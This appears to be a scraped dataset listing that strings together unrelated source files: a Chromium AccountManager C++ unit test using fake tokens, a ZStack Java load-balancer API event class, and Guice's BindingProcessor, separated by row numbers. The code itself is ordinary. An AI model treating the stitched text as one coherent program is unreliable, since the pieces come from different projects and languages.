account_manager()->UpsertAccount(kGaiaAccountKey, kRawUserEmail,
AccountManager::kInvalidToken);
RunAllPendingTasks();
EXPECT_TRUE(account_manager()->IsTokenAvailable(kGaiaAccountKey));
EXPECT_TRUE(IsAccountKeyPresent(GetAccountsBlocking(), kGaiaAccountKey));
}
TEST_F(AccountManagerTest, HasDummyGaiaTokenReturnsTrueForInvalidTokens) {
EXPECT_FALSE(account_manager()->IsTokenAvailable(kGaiaAccountKey));
account_manager()->UpsertAccount(kGaiaAccountKey, kRawUserEmail,
AccountManager::kInvalidToken);
RunAllPendingTasks();
EXPECT_TRUE(HasDummyGaiaTokenBlocking(kGaiaAccountKey));
}
TEST_F(AccountManagerTest, HasDummyGaiaTokenReturnsFalseForValidTokens) {
EXPECT_FALSE(account_manager()->IsTokenAvailable(kGaiaAccountKey));
account_manager()->UpsertAccount(kGaiaAccountKey, kRawUserEmail, kGaiaToken);
RunAllPendingTasks();
EXPECT_FALSE(HasDummyGaiaTokenBlocking(kGaiaAccountKey));
}
TEST_F(AccountManagerTest,
AccessTokenFetcherCanBeCreatedBeforeAccountManagerInitialization) {
{
// Persist a token for kGaiaAccountKey.
AccountManager account_manager;
InitializeAccountManager(&account_manager);
account_manager.UpsertAccount(kGaiaAccountKey, kRawUserEmail, kGaiaToken);
RunAllPendingTasks();
}
AddFakeAccessTokenResponse();
MockAccessTokenConsumer consumer;
// Create an instance of `AccountManager` but do not initialize it yet.
AccountManager account_manager;
std::unique_ptr<OAuth2AccessTokenFetcher> access_token_fetcher =
account_manager.CreateAccessTokenFetcher(kGaiaAccountKey, &consumer);
ASSERT_TRUE(access_token_fetcher != nullptr);
access_token_fetcher->Start(kFakeClientId, kFakeClientSecret, /*scopes=*/{});
EXPECT_CALL(consumer,
OnGetTokenSuccess(
Field(&OAuth2AccessTokenConsumer::TokenResponse::access_token,
Eq(kFakeAccessToken))));
InitializeAccountManager(&account_manager);
RunAllPendingTasks();
EXPECT_TRUE(account_manager.IsInitialized());
}
TEST_F(AccountManagerTest, AccessTokenFetchSucceedsForGaiaAccounts) {
ResetAndInitializeAccountManager();
account_manager()->UpsertAccount(kGaiaAccountKey, kRawUserEmail, kGaiaToken);
RunAllPendingTasks();
AddFakeAccessTokenResponse();
MockAccessTokenConsumer consumer;
EXPECT_CALL(consumer,
OnGetTokenSuccess(
Field(&OAuth2AccessTokenConsumer::TokenResponse::access_token,
Eq(kFakeAccessToken))));
std::unique_ptr<OAuth2AccessTokenFetcher> access_token_fetcher =
account_manager()->CreateAccessTokenFetcher(kGaiaAccountKey, &consumer);
access_token_fetcher->Start(kFakeClientId, kFakeClientSecret, /*scopes=*/{});
RunAllPendingTasks();
}
TEST_F(AccountManagerTest, AccessTokenFetchFailsForActiveDirectoryAccounts) {
ResetAndInitializeAccountManager();
account_manager()->UpsertAccount(kActiveDirectoryAccountKey, kRawUserEmail,
AccountManager::kActiveDirectoryDummyToken);
RunAllPendingTasks();
MockAccessTokenConsumer consumer;
EXPECT_CALL(consumer,
OnGetTokenFailure(Property(
&GoogleServiceAuthError::state,
Eq(GoogleServiceAuthError::State::USER_NOT_SIGNED_UP))));
std::unique_ptr<OAuth2AccessTokenFetcher> access_token_fetcher =
account_manager()->CreateAccessTokenFetcher(kActiveDirectoryAccountKey,
&consumer);
access_token_fetcher->Start(kFakeClientId, kFakeClientSecret, /*scopes=*/{});
RunAllPendingTasks();
}
TEST_F(AccountManagerTest, AccessTokenFetchFailsForUnknownAccounts) {
ResetAndInitializeAccountManager();
MockAccessTokenConsumer consumer;
EXPECT_CALL(consumer,
OnGetTokenFailure(Property(
&GoogleServiceAuthError::state,
Eq(GoogleServiceAuthError::State::USER_NOT_SIGNED_UP))));
std::unique_ptr<OAuth2AccessTokenFetcher> access_token_fetcher =
account_manager()->CreateAccessTokenFetcher(kGaiaAccountKey, &consumer);
access_token_fetcher->Start(kFakeClientId, kFakeClientSecret, /*scopes=*/{});
RunAllPendingTasks();
}
} // namespace account_manager
| 10,112 |
879 | <filename>plugin/loadBalancer/src/main/java/org/zstack/network/service/lb/APIUpdateLoadBalancerListenerEvent.java<gh_stars>100-1000
package org.zstack.network.service.lb;
import org.zstack.header.message.APIEvent;
import org.zstack.header.rest.RestResponse;
/**
* Created by camile on 5/19/2017.
*/
@RestResponse(allTo = "inventory")
public class APIUpdateLoadBalancerListenerEvent extends APIEvent {
private LoadBalancerListenerInventory inventory;
public APIUpdateLoadBalancerListenerEvent() {
}
public APIUpdateLoadBalancerListenerEvent(String apiId) {
super(apiId);
}
public void setInventory(LoadBalancerListenerInventory inventory) {
this.inventory = inventory;
}
public LoadBalancerListenerInventory getInventory() {
return inventory;
}
public static APIUpdateLoadBalancerListenerEvent __example__() {
APIUpdateLoadBalancerListenerEvent event = new APIUpdateLoadBalancerListenerEvent();
LoadBalancerListenerInventory l = new LoadBalancerListenerInventory();
l.setUuid(uuid());
l.setLoadBalancerUuid(uuid());
l.setName("Test-Listener");
l.setDescription("desc info");
l.setLoadBalancerPort(80);
l.setInstancePort(80);
l.setProtocol(LoadBalancerConstants.LB_PROTOCOL_HTTP);
event.setInventory(l);
return event;
}
}
| 505 |
11,010 | /*
* Copyright (C) 2008 Google Inc.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package com.google.inject.internal;
import com.google.inject.Binder;
import com.google.inject.Binding;
import com.google.inject.Key;
import com.google.inject.Provider;
import com.google.inject.spi.ConstructorBinding;
import com.google.inject.spi.ConvertedConstantBinding;
import com.google.inject.spi.ExposedBinding;
import com.google.inject.spi.InjectionPoint;
import com.google.inject.spi.InstanceBinding;
import com.google.inject.spi.LinkedKeyBinding;
import com.google.inject.spi.PrivateElements;
import com.google.inject.spi.ProviderBinding;
import com.google.inject.spi.ProviderInstanceBinding;
import com.google.inject.spi.ProviderKeyBinding;
import com.google.inject.spi.UntargettedBinding;
import java.util.Set;
/**
* Handles {@link Binder#bind} and {@link Binder#bindConstant} elements.
*
* @author <EMAIL> (<NAME>)
* @author <EMAIL> (<NAME>)
*/
final class BindingProcessor extends AbstractBindingProcessor {
private final Initializer initializer;
BindingProcessor(
Errors errors, Initializer initializer, ProcessedBindingData processedBindingData) {
super(errors, processedBindingData);
this.initializer = initializer;
}
@Override
public <T> Boolean visit(Binding<T> command) {
Class<?> rawType = command.getKey().getTypeLiteral().getRawType();
if (Void.class.equals(rawType)) {
if (command instanceof ProviderInstanceBinding
&& ((ProviderInstanceBinding) command).getUserSuppliedProvider()
instanceof ProviderMethod) {
errors.voidProviderMethod();
} else {
errors.missingConstantValues();
}
return true;
}
if (rawType == Provider.class) {
errors.bindingToProvider();
return true;
}
return command.acceptTargetVisitor(
new Processor<T, Boolean>((BindingImpl<T>) command) {
@Override
public Boolean visit(ConstructorBinding<? extends T> binding) {
prepareBinding();
try {
ConstructorBindingImpl<T> onInjector =
ConstructorBindingImpl.create(
injector,
key,
binding.getConstructor(),
source,
scoping,
errors,
false,
false);
scheduleInitialization(onInjector);
putBinding(onInjector);
} catch (ErrorsException e) {
errors.merge(e.getErrors());
putBinding(invalidBinding(injector, key, source));
}
return true;
}
@Override
public Boolean visit(InstanceBinding<? extends T> binding) {
prepareBinding();
Set<InjectionPoint> injectionPoints = binding.getInjectionPoints();
T instance = binding.getInstance();
@SuppressWarnings("unchecked") // safe to cast to binding<T> because
// the processor was constructed w/ it
Initializable<T> ref =
initializer.requestInjection(
injector, instance, (Binding<T>) binding, source, injectionPoints);
ConstantFactory<? extends T> factory = new ConstantFactory<>(ref);
InternalFactory<? extends T> scopedFactory =
Scoping.scope(key, injector, factory, source, scoping);
putBinding(
new InstanceBindingImpl<T>(
injector, key, source, scopedFactory, injectionPoints, instance));
return true;
}
@Override
public Boolean visit(ProviderInstanceBinding<? extends T> binding) {
prepareBinding();
javax.inject.Provider<? extends T> provider = binding.getUserSuppliedProvider();
if (provider instanceof InternalProviderInstanceBindingImpl.Factory) {
@SuppressWarnings("unchecked")
InternalProviderInstanceBindingImpl.Factory<T> asProviderMethod =
(InternalProviderInstanceBindingImpl.Factory<T>) provider;
return visitInternalProviderInstanceBindingFactory(asProviderMethod);
}
Set<InjectionPoint> injectionPoints = binding.getInjectionPoints();
Initializable<? extends javax.inject.Provider<? extends T>> initializable =
initializer.<javax.inject.Provider<? extends T>>requestInjection(
injector, provider, null, source, injectionPoints);
// always visited with Binding<T>
@SuppressWarnings("unchecked")
InternalFactory<T> factory =
new InternalFactoryToInitializableAdapter<T>(
initializable,
source,
injector.provisionListenerStore.get((ProviderInstanceBinding<T>) binding));
InternalFactory<? extends T> scopedFactory =
Scoping.scope(key, injector, factory, source, scoping);
putBinding(
new ProviderInstanceBindingImpl<T>(
injector, key, source, scopedFactory, scoping, provider, injectionPoints));
return true;
}
@Override
public Boolean visit(ProviderKeyBinding<? extends T> binding) {
prepareBinding();
Key<? extends javax.inject.Provider<? extends T>> providerKey =
binding.getProviderKey();
// always visited with Binding<T>
@SuppressWarnings("unchecked")
BoundProviderFactory<T> boundProviderFactory =
new BoundProviderFactory<T>(
injector,
providerKey,
source,
injector.provisionListenerStore.get((ProviderKeyBinding<T>) binding));
processedBindingData.addCreationListener(boundProviderFactory);
InternalFactory<? extends T> scopedFactory =
Scoping.scope(
key,
injector,
(InternalFactory<? extends T>) boundProviderFactory,
source,
scoping);
putBinding(
new LinkedProviderBindingImpl<T>(
injector, key, source, scopedFactory, scoping, providerKey));
return true;
}
@Override
public Boolean visit(LinkedKeyBinding<? extends T> binding) {
prepareBinding();
Key<? extends T> linkedKey = binding.getLinkedKey();
if (key.equals(linkedKey)) {
// TODO: b/168656899 check for transitive recursive binding
errors.recursiveBinding(key, linkedKey);
}
FactoryProxy<T> factory = new FactoryProxy<>(injector, key, linkedKey, source);
processedBindingData.addCreationListener(factory);
InternalFactory<? extends T> scopedFactory =
Scoping.scope(key, injector, factory, source, scoping);
putBinding(
new LinkedBindingImpl<T>(injector, key, source, scopedFactory, scoping, linkedKey));
return true;
}
/** Handle ProviderMethods specially. */
private Boolean visitInternalProviderInstanceBindingFactory(
InternalProviderInstanceBindingImpl.Factory<T> provider) {
InternalProviderInstanceBindingImpl<T> binding =
new InternalProviderInstanceBindingImpl<T>(
injector,
key,
source,
provider,
Scoping.scope(key, injector, provider, source, scoping),
scoping);
switch (binding.getInitializationTiming()) {
case DELAYED:
scheduleDelayedInitialization(binding);
break;
case EAGER:
scheduleInitialization(binding);
break;
default:
throw new AssertionError();
}
putBinding(binding);
return true;
}
@Override
public Boolean visit(UntargettedBinding<? extends T> untargetted) {
return false;
}
@Override
public Boolean visit(ExposedBinding<? extends T> binding) {
throw new IllegalArgumentException("Cannot apply a non-module element");
}
@Override
public Boolean visit(ConvertedConstantBinding<? extends T> binding) {
throw new IllegalArgumentException("Cannot apply a non-module element");
}
@Override
public Boolean visit(ProviderBinding<? extends T> binding) {
throw new IllegalArgumentException("Cannot apply a non-module element");
}
@Override
protected Boolean visitOther(Binding<? extends T> binding) {
throw new IllegalStateException("BindingProcessor should override all visitations");
}
});
}
@Override
public Boolean visit(PrivateElements privateElements) {
for (Key<?> key : privateElements.getExposedKeys()) {
bindExposed(privateElements, key);
}
return false; // leave the private elements for the PrivateElementsProcessor to handle
}
private <T> void bindExposed(PrivateElements privateElements, Key<T> key) {
ExposedKeyFactory<T> exposedKeyFactory = new ExposedKeyFactory<>(key, privateElements);
processedBindingData.addCreationListener(exposedKeyFactory);
putBinding(
new ExposedBindingImpl<T>(
injector,
privateElements.getExposedSource(key),
key,
exposedKeyFactory,
privateElements));
}
}
| 4,517 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.